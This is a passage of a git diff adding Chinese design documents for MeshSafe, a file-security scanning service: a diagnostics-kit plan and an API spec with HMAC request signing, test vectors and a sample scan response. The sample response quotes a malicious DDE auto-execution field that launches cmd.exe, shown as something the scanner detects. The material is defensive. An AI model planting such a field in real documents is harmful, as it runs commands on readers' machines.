运维脚本（含签名示例） +├── tests/ # 测试 +├── Dockerfile +├── docker-compose.yml +├── nginx/ +│ └── nginx.conf +├── requirements.txt +└── .env.example +``` + +*** + +**文档结束** · 下一步：《接口文档》（对外交付物） \ No newline at end of file diff --git a/docs/01-诊断套件方案.md b/docs/01-诊断套件方案.md new file mode 100644 index 0000000..0918310 --- /dev/null +++ b/docs/01-诊断套件方案.md @@ -0,0 +1,494 @@ +# MeshSafe Diagnostics Kit v1.0 方案 + +> 版本: v1.0 +> 日期: 2026-10-28 +> 状态: **待审核** +> 作者: MeshSafe Team +> 优先级: 高（P0） + +--- + +## 一、定位 + +> **目标**：让 MeshSafe 运维人员在产品内部就能看到"系统健康状况"，遇到问题能一键打包带出来给开发方分析。 +> +> **边界**： +> - ❌ 不联网、不依赖外部服务、不做 LLM、不自动上传 +> - ✅ 所有分析跑在客户容器里（在线定时） +> - ✅ 导出诊断包（手动触发，U 盘带出） +> - ✅ Docker 能力自动检测 + 三级降级 +> - ✅ 全部定时器周期 + 规则阈值配置化 +> - ✅ 总开关可关闭整个诊断套件（只留手动导出） + +--- + +## 二、核心设计决策 + +| # | 决策 | 理由 | +|---|------|------| +| 1 | **在线层：只跑 grep 模式匹配，不收集完整日志** | 光闸内网，日志可能带客户敏感信息；完整日志只在**用户手动导出**时打包 | +| 2 | **三层定时器**（错误类 30s / DB 聚合 60s / 容器类 300s）| 拦截日志要快出快分析；容器/配置类变化慢 | +| 3 | **页面请求时必跑轻量规则**（DB 聚合 + 引擎健康 + 文件 stat） | ~430ms 用户无感，确保页面显示的是最新数据 | +| 4 | **日志匹配 + docker inspect 跑后台定时器** | 涉及 subprocess + IO，耗时 ~2.5s 不阻塞前台 | +| 5 | **Docker 能力三档降级**（full / partial / none） | 客户环境可能挂不了 docker.sock；降级后页面明确告诉用户哪些规则没跑 | +| 6 | **总开关 enabled** | 有的客户不需要/不想跑诊断，一键关掉只留手动导出 | +| 7 | **全部定时器周期 + 规则阈值配置化** | 光闸环境差异大，硬编码不合适 | + +--- + +## 三、功能清单 + +### 3.1 控制台新页面：诊断面板 + +| # | 模块 | 展示内容 | 数据源 | +|---|------|---------|--------| +| A1 | 实时健康概览 | 4 张卡片：总扫描量、恶意拦截、**错误比例**（高就红）、引擎在线 | DB ScanTask + scanner.health() | +| A2 | 引擎健康详情 | 每个引擎状态、ClamAV 病毒库日期、YARA 规则数、最近检测耗时 | scanner.health() + 配置快照 | +| A3 | 容器运行状态 | 5 个容器 status / restart_count / Docker 能力检测结果 | docker inspect（或降级跳过）| +| A4 | 异常检测面板 | 规则引擎跑出来的问题列表（每条带严重度、消息、证据、检测时间戳）| 实时计算 + Redis 缓存 | +| A5 | 最近 20 条错误 | 从 DB 查 verdict='error' 的 ScanTask | DB | +| A6 | **一键导出按钮** | 生成 `diagnostics.tar.gz` → 浏览器下载 | 后端打包 | + +**页面顶部信息栏**： +``` +最后刷新: 10:29:15 🧩 Docker 能力: ✅ 完整（日志检测 + 容器状态） + 或 ⚠️ 部分 / ℹ️ 未启用 + 或 ⛔ 诊断套件未启用 +``` + +**每条规则结果带时间戳**（不同规则可不同，因来自不同运行通道）： +``` +🔴 R009 ClamAV 被 OOM Kill (检测于 10:29:15) ← 页面请求时跑 +🟡 R002 ClamAV 病毒库 14 天未更新 (检测于 10:29:15) ← 页面请求时跑 +🟢 R004 所有引擎健康 (检测于 10:28:02) ← 定时器跑 +``` + +**未启用 Docker 时**：跳过 R009-R015，对应规则行显示 `ℹ️ Docker 能力不可用，本条规则未运行`。 + +**诊断套件总开关关闭时**：页面显示大横幅 `⛔ 诊断套件未启用`，下面规则列表隐藏，只保留手动导出按钮。 + +### 3.2 规则清单（15 条） + +#### 页面请求必跑（轻量，~430ms，每次打开都算） + +| 规则 | 类型 | 数据源 | 耗时 | +|------|------|--------|------| +| R001 error 比例 | DB SQL | ScanTask GROUP BY verdict | ~20ms | +| R005 24h 无扫描 | DB SQL | ScanTask MAX(created_at) | ~20ms | +| R002 ClamAV 病毒库日期 | 引擎协议 | clamd SIGINFO | ~100ms | +| R004 引擎健康 | 引擎协议 | scanner.health() | ~300ms | +| R003 YARA 规则 mtime | 文件 stat | os.path.getmtime | <1ms | + +#### 定时器组 A：错误/拦截类（30s 周期） + +| 规则 | 依赖 | 异常信号 | 匹配模式 | +|------|------|---------|---------| +| R009 ClamAV OOM/crash | docker logs clamd | clamd 被杀/崩 | `Killed` / `exit 137` / `segfault` / `oom-killed` | +| R010 Postgres FATAL | docker logs postgres | 连接池爆 | `FATAL` / `too many connections` / `PANIC` | +| R011 Redis OOM | docker logs redis | 内存满 | `OOM command not allowed` / `out of memory` | +| R012 磁盘满 | 5 个容器 docker logs | 磁盘爆 | `No space left on device` / `ENOSPC` | +| R013 Nginx upstream 失败 | docker logs nginx | api 挂了 | `Connection refused` / `upstream timed out` | +| R014 API 连接异常 | docker logs api | 依赖断了 | `Redis connection refused` / `Postgres connection refused` | + +#### 定时器组 B：DB 聚合类（60s 周期） + +| 规则 | 数据源 | +|------|--------| +| R006 suspicious > malicious | ScanTask GROUP BY verdict | +| R007 reject 比例 | ScanTask COUNT + verdict | +| R008 同 SHA256 重复 | ScanTask GROUP BY sha256 HAVING COUNT > 1 | + +#### 定时器组 C：容器/引擎类（300s 周期） + +| 规则 | 依赖 | +|------|------| +| R015 容器重启次数 | docker inspect × 5（任一 restart_count > 3）| + +### 3.3 每条规则输出格式 + +```json +{ + "id": "R009", + "severity": "high", // high / medium / low / info + "message": "ClamAV 被 OOM Kill（近 24h 重启 3 次）", + "hint": "给 clamav 容器加内存限制 512m → 1g", + "evidence": [ + "meshsafe-clamav 最近日志：Killed (exit 137)", + "meshsafe-clamav restart_count = 3" + ], + "run_at": "2026-10-28T10:29:15+08:00", + "run_by": "page_request", // page_request / timer:error_scan / export + "skipped": false, + "skip_reason": null +} +``` + +### 3.4 一键导出 + +**端点**：`GET /api/v1/telemetry/dump`（返回文件下载） + +**导出包结构**： +``` +diagnostics-20261028-103045.tar.gz +├── rules_report.json ← 导出这一刻跑一遍规则引擎的完整结果（带证据 + 时间戳） +├── containers/ +│ ├── meshsafe-api.log ← docker logs --tail 2000（导出时抓完整） +│ ├── meshsafe-api.meta.json ← restart_count / started_at / 镜像 tag +│ ├── meshsafe-clamav.log +│ ├── meshsafe-clamav.meta.json +│ ├── meshsafe-postgres.log +│ ├── meshsafe-postgres.meta.json +│ ├── meshsafe-redis.log +│ ├── meshsafe-redis.meta.json +│ ├── meshsafe-nginx.log +│ └── meshsafe-nginx.meta.json +├── scan_tasks.json ← 最近 500 条 ScanTask（脱敏） +├── scan_findings.json ← 对应 ScanFinding（rule name / severity / engine） +├── engine_health.json ← scanner.health() 快照 +├── policy_snapshot.json ← 策略版本号 + YARA 规则文件列表（**不含规则原文**） +├── docker_detect.json ← 启动时 Docker 能力检测结果 +├── compose_state.json ← docker compose ps 输出（容器运行状态表） +└── meta.json ← 打包时间 / 生成人 / MeshSafe 版本 / 规则版本 +``` + +**数据脱敏策略**： + +| 字段 | 处理方式 | +|------|---------| +| 原始文件名 | 保留扩展名 + SHA256 前 8 位 | +| 文件路径 | 截断为相对路径 | +| 用户名 | `u***n` | +| IP | `10.0.1.*`（保留最后一段）| +| 策略 YAML | 默认只传版本号 + 规则列表；加开关可选全量 | + +### 3.5 Docker 能力检测 + +启动时自动运行（`@app.on_event("startup")`），三档降级： + +| 检测结果 | 条件 | 影响 | 页面显示 | +|---------|------|------|---------| +| **full** | docker.sock 挂载 + docker CLI 可用 + `docker logs/inspect meshsafe-api` 成功 | R009-R015 全部正常运行 | ✅ Docker 能力完整 | +| **partial** | docker CLI 有但 socket 权限不够 | R009-R015 可能部分失败 | ⚠️ Docker 访问受限，部分容器日志规则未运行 | +| **none** | socket 未挂 / CLI 未装 | R009-R015 **自动跳过** | ℹ️ 未启用 Docker 日志检测 | + +检测结果写 `docker_detect.json`（导出包），同时存 Redis 供页面查询。 + +--- + +## 四、定时器运行架构 + +### 4.1 三层定时器 + 页面必跑 + +``` +MeshSafe API 进程 +│ +├── FastAPI app +│ └── startup event +│ ├── ① DIAG_ENABLED? → false 直接 return（全部定时器不启动） +│ ├── ② Docker 能力检测 → 存内存 dict + Redis +│ ├── ③ asyncio.create_task(_timer_loop("error_scan", 30s, R001/R005/R009-R014)) +│ ├── ④ asyncio.create_task(_timer_loop("db_aggregate", 60s, R006/R007/R008)) +│ └── ⑤ asyncio.create_task(_timer_loop("container", 300s, R002/R003/R004/R015)) +│ +├── 页面请求 GET /console/diagnostics +│ ├── 同步跑 R001/R002/R003/R004/R005（~430ms，用户无感） +│ ├── 读 Redis 缓存拿 R006-R015 +│ └── 合并 + 渲染（每条带时间戳） +│ +└── 手动导出 GET /api/v1/telemetry/dump + ├── 阻塞跑完整规则引擎（含实时 + 日志 + 容器） + ├── 抓 docker logs --tail 2000（全容器） + ├── 打包 tar.gz + └── 用后台线程跑，超时 60 秒 +``` + +### 4.2 单次运行耗时预期 + +| 通道 | 规则 | 耗时 | 周期 | 并发安全 | +|------|------|------|------|---------| +| 页面必跑 | R001/R002/R003/R004/R005 | ~430ms | 每次页面加载 | 同步 await，不阻塞 worker | +| 定时器 A | R001/R005/R009-R014 | ~2.5s | 30s | asyncio.create_subprocess_exec | +| 定时器 B | R006/R007/R008 | ~60ms | 60s | 单次 SQL 查询 | +| 定时器 C | R002/R003/R004/R015 | ~1.5s | 300s | clamd TCP + docker inspect × 5 | +| 导出 | 全部 15 条 + docker logs 全量 | ~5-8s | 用户手动 | 后台线程，60s 超时 | + +### 4.3 Redis 缓存结构 + +``` +ms:diag:latest ← Hash: { rules: [...], generated_at: 1730406555, docker_status: "full", enabled: true } +ms:diag:cache:R001 ← String: { "result": {...}, "ts": 1730406555, "run_by": "timer:error_scan" } +ms:diag:cache:R009 ← 同上 +... +ms:diag:docker_status ← String: "full" / "partial" / "none" +ms:diag:enabled ← String: "true" / "false" +``` + +**TTL**：单条规则缓存 6 分钟；`latest` 整个包 10 分钟。 + +### 4.4 定时器异常保护 + +```python +async def _timer_loop(name, interval, rules, docker_status): + """通用定时器循环。""" + while True: + try: + await asyncio.sleep(interval) + results = await _run_rule_group(rules, docker_status) + await _write_redis(results, name) + except asyncio.CancelledError: + logger.info(f"定时器 {name} 被取消") + break + except Exception as e: + logger.exception(f"定时器 {name} 异常，{interval}s 后重试: {e}") + # 继续 while True，下次 sleep 后重试 +``` + +--- + +## 五、后端接口清单 + +| 方法 | 路径 | 说明 | 响应 | +|------|------|------|------| +| GET | `/console/diagnostics` | 诊断面板 HTML | 页面（含 DIAG_ENABLED=false 横幅）| +| GET | `/api/v1/telemetry/summary` | 实时面板数据（页面调用）| JSON | +| GET | `/api/v1/telemetry/engine-health` | 引擎健康快照 | JSON | +| GET | `/api/v1/telemetry/errors?limit=20` | 最近错误列表 | JSON | +| GET | `/api/v1/telemetry/docker-status` | Docker 能力检测结果 | JSON | +| GET | `/api/v1/telemetry/rules` | **所有规则最新结果**（带时间戳 + 运行来源）| JSON | +| GET | `/api/v1/telemetry/dump` | **一键导出 tar.gz** | 文件下载 | +| GET | `/api/v1/telemetry/config` | 当前配置快照（周期、阈值、Docker 模式）| JSON | + +--- + +## 六、后端代码结构 + +``` +app/ +├── diagnostic/ ← 新增目录 +│ ├── __init__.py +│ ├── config.py ← 读取 diagnostics.yaml + 环境变量覆盖 +│ ├── engine.py ← DiagnosticEngine（跑规则集） +│ ├── rules_db.py ← DB 聚合类规则实现（R001/R005-R008） +│ ├── rules_engine.py ← 引擎健康类规则实现（R002-R004） +│ ├── rules_log.py ← 日志匹配类规则实现（R009-R014） +│ ├── rules_container.py ← 容器状态类规则实现（R015） +│ ├── docker_probe.py ← 启动时 Docker 能力检测 +│ ├── collector.py ← DB + scanner.health() 原始数据拉取 +│ ├── dumper.py ← 打包 tar.gz + 脱敏 +│ └── scheduler.py ← 三层定时器循环 +├── console.py +│ └── 新增 1 个页面路由 + 7 个 API 路由 +├── main.py +│ └── startup event 加 DIAG_ENABLED 检查 + scheduler 启动 +├── config/ +│ └── diagnostics.yaml ← 新增配置文件 +├── templates/ +│ ├── diagnostics.html ← 新增诊断面板模板 +│ └── _nav.html ← nav_active='diagnostics' 入口 +└── Dockerfile + └── 加 `RUN apt-get install docker.io-cli` +``` + +--- + +## 七、配置文件完整内容 + +**文件**：`app/config/diagnostics.yaml` + +```yaml +# =============================================================== +# MeshSafe Diagnostics Kit v1.0 配置 +# =============================================================== +# 环境变量可覆盖： +# MESHSAFE_DIAG_ENABLED=true|false +# MESHSAFE_DIAG_DOCKER=auto|true|false +# MESHSAFE_DIAG_ERROR_INTERVAL=30 +# MESHSAFE_DIAG_CONTAINER_INTERVAL=300 +# MESHSAFE_DIAG_DB_INTERVAL=60 +# =============================================================== + +diagnostics: + # ---------- 总开关 ---------- + # true = 启动定时器、检测 Docker、运行规则引擎 + # false = 只保留手动导出功能，所有自动诊断关闭 + enabled: true + + # ---------- Docker 日志/容器状态能力 ---------- + # auto = 启动时自动检测 docker.sock 挂载 + # true = 强制启用，连不上启动报错 + # false = 强制关闭 + docker: + enabled: auto + + # ---------- 后台定时器周期（秒，0 = 不跑）---------- + timers: + error_scan_interval: 30 # 错误/拦截类日志（R001/R005/R009-R014） + container_check_interval: 300 # 容器/引擎类（R002/R003/R004/R015） + db_aggregate_interval: 60 # DB 聚合类（R006/R007/R008） + + # ---------- 日志行数控制 ---------- + docker_log_tail: 500 # 定时器 grep 最近多少行 + export_log_tail: 2000 # 导出时完整抓多少行 + + # ---------- 规则阈值 ---------- + rules: + error_ratio_threshold: 0.05 # R001: error > 5% 告警 + clamav_db_stale_days: 7 # R002: 病毒库 > 7 天告警 + reject_ratio_threshold: 0.20 # R007: reject > 20% 告警 + suspicious_exceeds_malicious: true # R006 开关 +``` + +--- + +## 八、页面设计 + +### 8.1 诊断面板布局 + +``` +┌────────────────────────────────────────────────────────────────────┐ +│ Nav: 概览 | 策略配置 | 任务历史 | 测试靶场 | 🔧 诊断 ← active │ +│ 最后刷新: 10:29:15 🧩 Docker: ✅ 完整 │ +├────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌─ 实时健康概览 ────────────────────────────────────────────────┐ │ +│ │ 扫描总量 恶意拦截 可疑待核 错误比例 引擎在线 │ │ +│ │ 12,472 117 47 10.0% 🔴 5/5 ✅ │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ ┌─ ⚠️ 异常检测（本地规则引擎）───────────────────────────────────┐ │ +│ │ 🔴 R001 错误比例偏高（10.0% > 阈值 5%） (10:29:15) │ │ +│ │ 近 100 次扫描 12 次 error │ │ +│ │ 💡 建议检查 ClamAV / Redis / Postgres 引擎 │ │ +│ │ │ │ +│ │ 🔴 R009 ClamAV 被 OOM Kill（重启 3 次） (10:29:15) │ │ +│ │ 证据: meshsafe-clamav stderr: Killed (exit 137) │ │ +│ │ 💡 建议给 clamav 容器加内存 512m → 1g │ │ +│ │ │ │ +│ │ 🟡 R002 ClamAV 病毒库 14 天未更新 (10:29:15) │ │ +│ │ 💡 在线更新失败 → U 盘离线导入 │ │ +│ │ │ │ +│ │ 🟢 所有其他规则通过 │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ ┌─ 🧩 容器运行状态 ──────────────────────────────────────────────┐ │ +│ │ API ✅ healthy restart: 0 启动: 2h 前 │ │ +│ │ Postgres ✅ healthy restart: 0 │ │ +│ │ Redis ✅ healthy restart: 0 │ │ +│ │ ClamAV ✅ running restart: 3 ⚠️ 近 24h 不稳定 │ │ +│ │ Nginx ✅ healthy restart: 0 │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ ┌─ 🧪 引擎状态 ─────────────────────────────────────────────────┐ │ +│ │ 🦠 ClamAV ✅ 病毒库: 2026-10-14 (14天前) │ │ +│ │ 🎯 YARA ✅ 规则: 205 条 │ │ +│ │ 📄 Document ✅ │ │ +│ │ 🔑 Keywords ✅ │ │ +│ │ ⚙️ Binary ✅ │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ ┌─ ❌ 最近 20 条错误 ────────────────────────────────────────────┐ │ +│ │ [table: 时间 | 文件名 | 错误原因 | 引擎 | 分数] │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ [📦 导出诊断包] 按钮 │ +└────────────────────────────────────────────────────────────────────┘ +``` + +### 8.2 总开关关闭时 + +``` +┌────────────────────────────────────────────────────────────────────┐ +│ ⛔ 诊断套件未启用 │ +│ diagnostics.yaml: diagnostics.enabled = false │ +│ │ +│ 诊断套件提供实时健康检测、容器运行状态监控、一键诊断包导出。 │ +│ 关闭后仅保留手动导出功能，所有自动规则引擎将停止运行。 │ +│ │ +│ 启用方式： │ +│ 1. 修改 app/config/diagnostics.yaml: enabled → true │ +│ 2. 或设置环境变量：MESHSAFE_DIAG_ENABLED=true │ +│ 3. 重启 api 容器 │ +│ │ +│ [📦 手动导出诊断包（离线收集）] │ +└────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## 九、实施计划 + +``` +Phase 1（3-4 天）— 核心框架 +├── app/diagnostic/ 目录结构 + 配置读取 +├── DiagnosticEngine 框架 + 规则基类 +├── DB 聚合类规则（R001/R005-R008） +├── 引擎协议类规则（R002/R003/R004） +└── Docker 能力检测 + +Phase 2（2-3 天）— 定时器 + 页面 +├── 三层定时器 + Redis 缓存 +├── 页面必跑规则通道 +├── 诊断面板 HTML 模板（含 Docker 状态 + 总开关横幅） +├── 异常列表 + 时间戳显示 +└── docker-compose.yml api 服务加 docker.sock 挂载 + +Phase 3（2 天）— 日志匹配 + 导出 +├── 日志匹配类规则（R009-R014） +├── docker inspect 类规则（R015） +├── 一键导出 tar.gz + 脱敏 +├── Dockerfile 加 docker CLI +└── 导出包结构完成 + +Phase 4（1 天）— 测试 + 验证 +├── docker build + 重启 + 功能验证 +├── 模拟无 Docker 环境（不挂 socket）→ 验证降级 +├── 关闭总开关 → 验证横幅 + 手动导出仍可用 +└── 全接口自测 +``` + +--- + +## 十、后续演进（不在 v1.0） + +| 版本 | 功能 | +|------|------| +| v1.1 | 导出包可选"含完整策略 YAML"；规则阈值页面可配（不用改 yaml）| +| v1.1 | 导出包可选"上传到指定 S3 桶"（如果客户有内网 S3）| +| v2.0 | 云端收集服务（MeshSafe Pulse）：多客户聚合 + dashboard + 规则引擎云端版 | +| v2.0 | LLM 辅助分析：把 diagnostics.tar.gz 喂给 LLM 生成结构化报告 | +| v3.0 | AI 辅助修复闭环（仅在你自己的 sandbox 里做，不碰客户环境）| + +--- + +## 附录 A：Dockerfile 改动 + +```dockerfile +# ===== 新增：装 docker CLI ===== +# api 容器需要 docker CLI 才能通过 docker.sock 访问宿主机 Docker +RUN apt-get update && apt-get install -y --no-install-recommends \ + docker.io-cli \ + && rm -rf /var/lib/apt/lists/* +``` + +## 附录 B：docker-compose.yml 改动 + +```yaml +api: + volumes: + # ... 原有 volume ... + - /var/run/docker.sock:/var/run/docker.sock:ro # ← 新增：只读挂载 +``` + +## 附录 C：快速降级指引 + +| 问题 | 处理 | +|------|------| +| 启动报 `ModuleNotFoundError: docker` | 忘装 docker CLI，跑 `apt-get install docker.io-cli` | +| 启动后页面显示 `ℹ️ Docker 能力未启用` | 没挂 docker.sock；compose api volumes 加一行 + rebuild | +| 想完全关掉诊断 | `diagnostics.enabled: false` 或环境变量 | +| 定时器吃 CPU | 三个定时器周期都可以调大；或设为 0 不跑某个 | +| 导出包太大 | `export_log_tail` 调小；或只导出 `scan_tasks.json` | + +--- + +**文档结束** — 待审核 → 确认后开始编码 diff --git a/docs/接口文档.md b/docs/接口文档.md new file mode 100644 index 0000000..16e1123 --- /dev/null +++ b/docs/接口文档.md @@ -0,0 +1,1322 @@ +# MeshSafe 文件安全检测服务 · 对外接口文档 + +| 项目 | 内容 | +|---|---| +| 文档版本 | v1.1（2026-10-27 对齐当前代码实现） | +| 接口版本 | `/api/v1` | +| 适用系统 | 光闸内外网文件摆渡系统 | +| 保密级别 | **内部交付文档**，请勿公开传播 | + +--- + +## 目录 + +1. [服务概述](#1-服务概述) +2. [接入准备](#2-接入准备) +3. [认证与签名规范](#3-认证与签名规范) +4. [接口清单](#4-接口清单) +5. [数据模型](#5-数据模型) +6. [检测规则清单](#6-检测规则清单) +7. [错误处理](#7-错误处理) +8. [接入示例](#8-接入示例) +9. [附录](#9-附录) + +--- + +## 1. 服务概述 + +### 1.1 能力范围 + +MeshSafe 是部署在内网隔离区的**文件安全检测专用服务**，通过标准 HTTP 接口接收文件并返回结构化检测结论。 + +**检测覆盖的风险类型：** + +| 类型 | 说明 | +|---|---| +| 恶意代码 | 病毒、木马、勒索软件、挖矿程序、后门 | +| 主动执行风险 | VBA 宏、DDE 自动执行、双扩展名伪装、文档内嵌可执行对象、PDF 脚本 | +| 容器逃逸类构造 | 压缩炸弹、路径穿越、超深嵌套、文件名伪装 | +| 策略违规 | 文件类型不在允许清单、文件超限、加密文件 | + +**服务不做的事：** + +- 不修改、不改写被检测文件 +- 不返回解包后的文件内容 +- 不做内容分类分级与敏感信息识别 +- 不做杀毒处置（隔离、删除由摆渡系统按 `action` 执行） + +### 1.2 部署形态 + +服务部署在内网隔离区，**运行期不访问公网**。病毒库与检测规则通过单向导入方式离线更新。 + +接入方式：调用方与检测服务之间走 HTTPS，证书由内部 CA 签发。 + +### 1.3 同步与异步 + +| 模式 | 何时使用 | 返回 | +|---|---|---| +| **同步** | 文件较小（默认 ≤ 512 MB），需要立即拿到结论 | 请求内返回完整结论 | +| **异步** | 文件较大，或策略要求走沙箱深检 | 返回 `task_id`，需轮询查询 | + +两种模式的**请求完全相同**，服务根据文件大小与策略自动选择。异步模式下调用方轮询 `GET /api/v1/scans/{task_id}` 即可。 + +--- + +## 2. 接入准备 + +### 2.1 申请凭证 + +向系统管理员申请一组凭证，获得： + +| 字段 | 说明 | +|---|---| +| `client_id` | 调用方标识，如 `duandao-system-a` | +| `secret` | 调用方密钥，用于签名，**请勿泄露** | + +多套调用方请分别申请，不要共用同一组凭证 —— 审计日志会按 `client_id` 区分调用来源。 + +### 2.2 凭证安全要求 + +- `secret` 仅存储在调用方服务端，**禁止**硬编码在客户端或前端代码中 +- 建议通过环境变量或密钥管理服务注入 +- 怀疑泄露时联系管理员轮换（轮换后旧凭证立即失效） + +### 2.3 网络连通性 + +| 源 | 目标 | 端口 | +|---|---|---| +| 摆渡系统服务端 | 检测服务 | 443 | + +--- + +## 3. 认证与签名规范 + +> **本章是全文最重要的部分。** 请完整阅读后再开始对接。 + +### 3.1 为什么需要签名 + +本服务面向内外网数据交换场景，接口可能被多个系统调用。为防止未授权调用、请求重放、以及检测结论被篡改，所有请求必须携带 HMAC 签名，所有响应也提供独立签名供验签。 + +### 3.2 请求头 + +| 头部 | 必填 | 说明 | +|---|---|---| +| `X-MS-Client-Id` | 是 | 调用方标识 | +| `X-MS-Timestamp` | 是 | Unix 秒级时间戳 | +| `X-MS-Nonce` | 是 | 随机串，32 位小写十六进制，**同一次请求不可重复使用** | +| `X-MS-Body-SHA256` | 是 | 请求体原始字节的 SHA256，小写十六进制 | +| `X-MS-Signature` | 是 | 请求签名，小写十六进制 | + +### 3.3 待签名串构造 + +各部分以 `\n` 分隔，**末尾无换行符**： + +``` +METHOD \n PATH \n CANONICAL_QUERY \n BODY_SHA256 \n TIMESTAMP \n NONCE \n CLIENT_ID +``` + +| 部分 | 取值规则 | +|---|---| +| `METHOD` | 大写，如 `POST` | +| `PATH` | 请求路径，不含域名、不含查询串。例：`/api/v1/scans` | +| `CANONICAL_QUERY` | 查询参数按 key 升序排列，`k=v` 用 `&` 连接；无参数时为空字符串 | +| `BODY_SHA256` | 请求体原始字节的 SHA256，小写十六进制 | +| `TIMESTAMP` | Unix 秒级时间戳字符串 | +| `NONCE` | 与请求头一致 | +| `CLIENT_ID` | 与请求头一致 | + +**示例**（`POST /api/v1/scans`，无查询参数，空请求体）： + +``` +POST +/api/v1/scans + +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +1700000000 +0123456789abcdef0123456789abcdef +test-client +``` + +注意 `PATH` 与 `CANONICAL_QUERY` 之间有一行是空行 —— 因为查询参数为空。 + +### 3.4 签名密钥派生 + +**不要直接用 `secret` 做 HMAC 密钥**，必须先派生： + +``` +signing_key = HKDF-SHA256( + ikm = secret, + salt = client_id, + info = "meshsafe/api/v1/request-signing", + len = 32 +) +``` + +``` +signature = HMAC-SHA256(signing_key, 待签名串) → 小写十六进制 +``` + +派生用途隔离的意义：即使请求签名密钥泄露，攻击者也无法伪造响应签名（响应使用独立的派生标签）。 + +> 大多数语言的标准库没有 HKDF，需要自行实现（约 15 行代码），示例见 §8。 + +### 3.5 文件上传的 body 哈希 + +上传文件时，请求体是 `multipart/form-data`，包含**随机 boundary**，因此： + +**`X-MS-Body-SHA256` 必须对最终发送的完整 HTTP 请求体字节计算**（即 `Content-Type` 头之后的所有字节，含 boundary）。 + +正确做法： + +```python +# 构造请求体后，对 bytes 计算哈希 +body = build_multipart_body(file_bytes, filename) +body_hash = hashlib.sha256(body).hexdigest() # ← 对最终字节计算 +headers = sign(secret, client_id, "POST", "/api/v1/scans", body=body) +# 然后用完全相同的 body 字节发送 +requests.post(url, data=body, headers={**headers, "Content-Type": content_type}) +``` + +**常见错误**：用 `files=` 参数让 HTTP 库自动构造 multipart —— 这样你无法预知最终 body 字节，也就无法正确计算哈希。**必须手工构造 body。** + +### 3.6 时间戳与防重放 + +| 约束 | 值 | +|---|---| +| 允许时钟偏差 | ±300 秒 | +| nonce 复用 | 直接拒绝 | + +服务端会记录已使用的 nonce。若因网络重试需要重发同一请求，**必须更换 nonce 与时间戳**。 + +### 3.7 响应签名与验签 + +响应头中包含： + +| 头部 | 说明 | +|---|---| +| `X-MS-Response-Timestamp` | 响应生成时间戳 | +| `X-MS-Response-Signature` | 响应签名，小写十六进制 | + +``` +response_key = HKDF-SHA256( + ikm = secret, + salt = client_id, + info = "meshsafe/api/v1/response-signing", + len = 32 +) + +payload = SHA256(响应体原始字节) || X-MS-Response-Timestamp +signature = HMAC-SHA256(response_key, payload) → 小写十六进制 +``` + +> **验签是调用方的强制责任。** 不验签意味着你无法确认结论未被篡改，也无法确认响应确实来自本服务。生产对接必须实现验签。 + +验签失败时**必须拒绝使用该结论**，并记录告警。 + +### 3.8 校验向量 + +以下向量可直接用于您的单元测试，验证签名实现是否正确。 + +| 参数 | 值 | +|---|---| +| `secret` | `test-secret` | +| `client_id` | `test-client` | +| `method` | `POST` | +| `path` | `/api/v1/scans` | +| `query` | 空 | +| `body` | 空 | +| `timestamp` | `1700000000` | +| `nonce` | `0123456789abcdef0123456789abcdef` | + +期望结果： + +| 项 | 期望值 | +|---|---| +| `body_sha256` | `e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855` | +| `signing_key`（hex） | `e2c60ab7169f72b364aa0c17a1d96022c5ae1b1852ec8a2ad3c5d319a46f6e2f` | +| `signature`（hex） | `9d0bf5d6cf8e395a122d280d34199448807c5ed4604ae7555cc7ecb8d863654b` | + +> **同时提供响应签名校验向量**（用于验证 `response-signing` 密钥派生和 HMAC 实现）： +> +> | 参数 | 值 | +> |---|---| +> | `response_key`（hex） | `5059871d01a76283d43579cf50c00646f5d21b8bccc6123db32aebd9c741054e` | +> | 假设响应体 | 空（`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`） | +> | `response_timestamp` | `1700000000` | +> | `response_signature` | `79818ae5f2dd07d74713e67251d823b0be155cce17699a568aef7b233588f84e` | +> +> > 待签名串 = `SHA256(响应体).hex() + response_timestamp` → 对 response_key 做 HMAC-SHA256。 + +> 若上面的 signature 与您的实现算出来不一致，说明 HKDF 或 HMAC 的实现有偏差（常见原因是 HKDF 的 counter 从 0 开始而非 1，或 HMAC 输出未转小写 hex）。 + +> 同时可使用在线调试台 `/console/signing` 现场生成签名进行比对。 + +### 3.9 认证失败的表现 + +所有认证失败统一返回 HTTP 401，响应体： + +```json +{ + "detail": "认证失败" +} +``` + +**不会**区分"client_id 不存在"与"签名错误"，以防凭证枚举。 + +--- + +## 4. 接口清单 + +### 4.1 POST /api/v1/scans + +提交文件进行安全检测。 + +**请求** + +| 字段 | 类型 | 必填 | 说明 | +|---|---|---|---| +| `file` | binary | 是 | 待检测文件 | +| `channel` | string | 否 | 业务通道标识，默认 `default`。本期为全局策略，通道仅用于日志追溯 | +| `priority` | string | 否 | `normal`（默认）/ `high`，仅影响异步任务的排队顺序 | + +**Content-Type**：`multipart/form-data` + +**响应 200（同步完成）** + +```json +{ + "task_id": "3f8a9c2e1b7d4e6f8a0b2c4d6e8f0a1b", + "verdict": "malicious", + "score": 85.0, + "action": "reject", + "reason": "检测到 VBA 宏 + DDEAUTO 自动执行", + "status": "completed", + "file": { + "sha256": "a1b2c3...", + "md5": "d4e5f6...", + "size": 284915, + "real_type": "Microsoft Word 2007+", + "real_ext": ".docx", + "declared_ext": ".docx", + "filename": "起诉状.docx" + }, + "findings": [ + { + "engine": "document", + "layer": "L2", + "severity": "critical", + "rule": "DDEAutoExecution", + "detail": "检测到 DDE/DDEAUTO 字段：DDEAUTO c:\\windows\\system32\\cmd.exe", + "extracted_path": "word/settings.xml", + "weight": 65.0, + "meta": {} + } + ], + "extracted": [ + { "path": "word/vbaProject.bin", "filename": "vbaProject.bin", "size": 10240, "depth": 1, "sha256": "" } + ], + "triggered": [ + { "type": "rule_override", "rule": "DDEAutoExecution", "action": "reject", "engine": "document" } + ], + "meta": { + "scan_duration_ms": 1840, + "engines": ["structure", "clamav", "document", "keywords", "yara", "binary"], + "engine_errors": [], + "clamav": { "version": 